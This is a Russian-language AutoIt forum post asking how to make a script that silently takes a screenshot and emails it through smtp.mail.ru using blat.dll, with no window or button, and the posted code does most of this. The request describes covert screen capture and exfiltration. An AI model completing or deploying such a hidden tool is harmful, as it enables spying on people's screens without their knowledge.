_Lexa98_
Осваивающий
- Сообщения
- 551
- Репутация
- 25
Версия AutoIT: 3
Описание:
Старый код
Как можно сделать так чтобы:
1)Запускаем скрипт
2)Делается скриншот
3)Отправляется на почту
Примечания:
Без всяких окон и кнопок!
:laser:
Описание:
Старый код
Код:
#Include <ClipBoard.au3>
#Include <GDIPlus.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#Include <File.au3>
#NoTrayIcon
_ScreenCapture(@ScriptDir & '\Screenshot.png')
Func _ScreenCapture($sFile)
Local $Result, $Timer, $hImage, $hBitmap = 0
ClipPut('')
Send('{PRINTSCREEN}')
$Timer = TimerInit()
While TimerDiff($Timer) < 1000
_ClipBoard_Open(0)
$hBitmap = _ClipBoard_GetDataEx($CF_BITMAP)
_ClipBoard_Close()
If $hBitmap Then
ExitLoop
EndIf
WEnd
If Not $hBitmap Then
Return 0
EndIf
_GDIPlus_Startup()
$hImage = _GDIPlus_BitmapCreateFromHBITMAP($hBitmap)
$Result = _GDIPlus_ImageSaveToFile($hImage, $sFile)
_GDIPlus_ImageDispose($hImage)
_GDIPlus_Shutdown()
Return $Result
EndFunc ;==>_ScreenCapture
#Region ### START Koda GUI section ### Form=
$Wesoft = GUICreate("", 100, 65)
$Label1 = GUICtrlCreateLabel("Жми!", 20, 0, 100, 15)
$Button1 = GUICtrlCreateButton("F5", 0, 15, 100, 50, $WS_GROUP)
$ToAddress = ("")
$FromAddress = ("")
$FromName = "Screenshot"
$Subject = ("Screenshot")
$Body = ("•")
GUICtrlSetData(-1, "")
$AttachFiles = ("Screenshot.png"); прикреплённые файлы к письму
$Username = ("")
$SmtpServer = ("smtp.mail.ru")
$Password = ("")
;$SmtpServer = "smtp.mail.ru" ; адрес SMTP сервера
;$FromName = "Mail Sender" ; имя отправителя
;$FromAddress = "[email protected]" ; адрес отправителя
;$ToAddress = "[email protected]" ; адрес назначения
;$Subject = "test_mail_8" ; тема письма
;$Body = "body_of_mail" ; тело письма (сам текст письма)
;$Username = "zzzzzmail" ; имя пользователя аккаунта, с которого отправляется
;$Password = "12345z"
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
$BlatArgs = "-t "&$ToAddress&" -f "&$FromAddress&" -s "&$Subject&" -body "&$Body&" -server "&$SmtpServer&" -u "&$Username&" -pw "&$Password&" -attach "&$AttachFiles
Func _SendMail($CMDstring)
$BlatDLL = DllOpen ("blat.dll")
Do
$result=DllCall($BlatDLL,"int","Send","str",$CMDstring)
Until $result[0] = 0
DllClose ($BlatDLL)
Exit
EndFunc ;
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
_SendMail($BlatArgs)
EndSwitch
WEnd
Как можно сделать так чтобы:
1)Запускаем скрипт
2)Делается скриншот
3)Отправляется на почту
Примечания:
Без всяких окон и кнопок!
:laser: